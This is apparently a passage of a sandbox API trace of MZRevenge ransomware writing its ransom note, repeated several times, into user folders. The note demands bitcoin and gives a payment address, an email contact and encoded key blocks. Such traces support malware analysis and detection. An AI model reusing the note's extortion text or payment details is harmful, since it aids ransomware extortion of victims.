uTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.752] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.753] CloseHandle (hObject=0x32c) returned 1 [0217.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Music") returned 1 [0217.754] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music" (normalized: "c:\\users\\fd1hvy\\music")) returned 0x11 [0217.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Music") returned 1 [0217.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\music\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY 